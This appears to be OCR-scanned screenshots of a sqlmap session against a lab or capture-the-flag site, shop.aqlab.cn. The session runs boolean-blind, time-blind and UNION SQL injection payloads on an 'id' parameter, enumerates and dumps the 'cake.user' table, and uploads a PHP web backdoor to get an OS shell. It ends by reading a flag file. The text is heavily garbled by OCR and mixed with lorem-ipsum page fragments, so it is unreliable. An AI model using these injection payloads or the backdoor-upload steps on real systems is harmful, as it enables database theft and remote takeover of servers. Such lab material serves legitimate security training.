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[ 1 INFO]
sqlmap resumed the following injection point(s) from stored ses
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAUING clause
Payload: id=1" AND 69396=6996 AND "UAhO0’ ="UAhKOD

Type: time-b d blind
Title: MysSaL : 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1" AND (SELECT 2974 FROM (SELECT(SLEEP(S)))UDpG) AND "ErY

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-3346" UNION ALL SELECT NULL,CONCAT(OxTITE8TETOTI ,O0x6244Tar37
HY4FSebabfFTO4THIGFH4TOTas ]l T34bTH Tacd484adH4 TOHFSIUHTFHTESTOBIHS TabaSBU T . OxTIB2T
J,NULL-- -
[ 1 INFO]
web application technolegy: Nginx 1.11.5, PHP S5.6.27
back-end DBEMS: MysaL >= 5.0.12
10 ] fetching database names
11I 1 resumed: “information_schema’
11 ] resumed: "“cake’
11 ] resumed: ‘mysql’
available databases [3]:
[#] cake
[*] information_schema
[=] mysql

[ 1 [ ] fetched data logged to text files under "C:\Users\yang\AppData

“Locali\sglmaph\outputishop.aqlab.cn’
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| user
| cakes
e = ==

Database: information_schema
[28 tables]

CHARACTER_S
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIUILEGES
ENGINES

EUVENTS

FILES

GLOBAL _STATUS
GLOEBAL _UARIABLES
KEY_COLUMN_USAGE
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES

SCHEMATA
SCHEMA_PRIUVILEGES
SESSION_STATUS
SESSION_VUARIABLES
STATISTICS

TABLES
TABLE_CONSTRAINTS
TABLE_PRIUILEGES
TRIGGERS
USER_PRIUILEGES
UIEWS

Database:
[24 tables

BUHRFAKE . AMFER, -dump-all



[ 11 ] resuming back-end DBMS "mysql’
[ 1 INFO]
sqlmap resumed the followlng injection point(s) from stored s
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAUING clause
Payload: id=1" AND 6996=6996 AND "UAhO' = "UAhO

Type: time-based blind
Title: yS >= 5.0.12 AND time-based blind (query SLEEP)
Payload: i " AND (SELECT 2974 FROM (SELECT(SLEEP(S)))uD

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-3346" UNION ALL SELECT NULL ,CONCAT(OxT178T7G6T
HY4FSebabfFrO4THIEFHY4TOTaEl T34bTH Tat4484ad4 TOHFSIHFYHTES TSBEIAUHSTA
J,NULL-- -
[ 1 INFO]
web application technolegy: Nginx 1.11.5,
back-end DEMS: MysaL >= 5.0.12
[ 110 ] fetching entries of column
abase “cake’
Database: cake
Table: user
entryl

[ ] table ‘cake. user ° dumped to CSU file
Localysqlmaphoutputishop.aqlab.cnh\dumpiscake\user . .csu’
[ 11 ] fetched data legged to text files under
“"ocaliysqlmaphoutputishop.aqlab.cn’

[*] ending B 21:28:07 /2021-10-11/
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web application technolegy: MNginx 1.11.5, PHP
back-end DBEMS: MysaL >= 5.0.12
1 I 1 goeing to use a web backdoor
11 ] fingerprinting the back-end
11 1 the back-end DBMS operating
which web application language does the web seruer
ASP
ASPX
JSP
PHP (default)

DEMS

1 I
1 I

] retrieved the web

1 trying to upload the file stager
'LINES TERMINATED BY  method

1 I ] the file stager has been

- http://shop.aqlab.cn: 8001 /tmpuiraa.php

1 I 1 the ba

http://shop.agqlab.cn: 8001 /tmpbzgrb.php
1 I ] calling 05 shell. Teo quit type
os-shell> _

HAES.

server document root:
] retrieved web server absolute paths:

successfully uploaded on

<door has been successfully uploaded on

for command prompt

operating system

system is Windows

support?

‘C:A\phpStudy\wl "
‘C:/phpStudy/WWl/single.

on "C:/phpStudy/uWby/ " wvia LI
'C:/php5Stu
‘C:/phpStudy /U
ENTER

or 'q° and pre
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Solutpat diam non, condimentum neque. Lorem ipsum dolor sit\

LR

Posted By \Admin\ On\Dec 16-22, 2015\\
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ultrices. Donec laoreet diam «
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C:/phpStudy/WWW/flag.php

1 <?php
2 //flag-8adc-3387-1561z
3 >
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